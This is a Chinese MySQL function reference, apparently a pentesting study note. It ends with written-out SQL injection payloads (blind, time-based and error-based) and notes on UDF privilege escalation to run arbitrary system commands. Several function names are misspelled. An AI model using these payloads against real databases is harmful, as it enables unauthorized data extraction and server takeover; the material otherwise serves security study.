数学函数:bin(x) /hex(x) 返回x的二进制/十六进制编码
abs(x) x的绝对值
mod(x,y) 求余运算
sqrt(x) 平方根运算
ceil(x) / ceiling(x)
rand() 返回0~1之间的浮点数
round(x,D) 四舍五入保留D位小数
sign(x) 返回x的符号
pow(x,y) x的y次幂
exp(x) e的x次幂
floor(x) 返回小于或等于x的最大整数
count(x) 返回查询的记录总数
sum() 返回计算总和
addate(d,n) 计算起始日期d加上n天的日期
addtime(t,n) 计算t加上n秒的时间
curdate() current_date() 返回当前日期
curtime() current_time() 返回当前时间
current_timestamp() localtime() now() sysdate() 返回日期和时间
字符串函数:ascii(str) 返回字符串第一个字符的ASCII值
char_langth(str) 统计字符串的字符数
length(str) 返回str字符串的长度
insert(str,x,y,insert) 将字符串从x开始,y个字符长度替换为字符串insert
lpad(s1,len,s2) 在字符串s1的开始处填充字符串s2,使得长度达到len
rpad(s1,len,s2) 在字符串s1的结尾处填充字符串s2,使得长度达到len
ltrim(s)/rtrim(s) 删除字符串s的开始/结尾处的空格
locate(s1,s) 从字符串s中获取s1的开始位置
position(s1 in s2) 从字符串s中获取s1开始的位置
left(s,n) 返回字符串s的前n个字符
right(s,n) 返回字符串s的后n个字符
mid(s,n,len),substring(s,n,len),substr(s,n,len) 从n位置字符串s截取len
concat(s1,s2,…) 返回s1,s2连接的字符串
concat_ws(s1,s2,'char'^) 返回可自由添加分隔符的拼接字符串
lcase() lower() 字母小写转换
ucase(s) upper(s) 字母大写转换
field() 返回第一个字符串在字符串列表的位置
find_in_set(s1,s2) 返回字符串s1在字符串s2的匹配位置
repeat(s,n) 字符串s重复n次
reverse(s) 字符串反序
strcmp(s1,s2) 比较字符串s1,s2并返回比较结果
nullif(exp1,exp2) 比较两个字符串
formax(x,n) 对数字x进行格式化,将x保留到小数点后n位(四舍五入)
truncate(x,y) 返回数值x保留到小数点后y位的值,(不会四舍五入)
binary(s) 将字符串s转换为二进制字符串
特殊函数:connection_id() 返回连接该数据库服务器 的ID
current_user() sssion_user system_user() user() 返回当前用户名
database() 返回当前数据库名
version() 返回数据库的版本号
@@version_compile_os 查看系统架构
@@version_compile_machine 查看mysql架构
@@datadir 查看数据的存储目录
函数的利用姿势:length函数:判断长度 select length(database()); count()函数:返回匹配指定条件的行数 union select 1,count(*),3 from user;-- 查看当前表的数量 mid()函数:用于从字段中提取(一段)字符(布尔/时间/报错 盲注) and mid(user(),1,1)='r'; and if(mid(user(),1,1)='r',sleep(2),1); and updatexml(1,mid(concat(0x7e,user()),1,5),1) group by语句:结合聚合函数使用(报错注入) and (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group bu x)a) if(1,2,3):时间盲注 select if(1=1,sleep(2),1) MySQL执行系统命令system 执行格式:mysql> system <linux命令> UDF提权执行系统命令:UDF是MySQL用户自定义的函数, 要求: plugin目录具备读写权限
查看系统和MySQL架构 select @@version_compile_os , @@version_compile_machine ; UDF库需要放在MySQL的plugin文件中 select @@plugin_dir; 自定义创建函数语法: create [aggregate] function <function_name> returns <string|integer|real> soname 'file_name'; AGGREGATE 表示聚合函数,系统定义的聚合函数有:count(),ave(),mn(),sum()
SONAME 表示这个函数从哪个文件中引入,这个文件一般是动态链接库,windows是dll,linux是so,并且这个文件再mysql的plugin目录下;
UDF支持的函数: sys_eval 执行任意命令,并返回他的输出
sys_exec 执行任意命令,并返回他的退出代码
sys_get 获取环境变量的值
sys_set 创建环境变量或更新现有的环境变量的值
|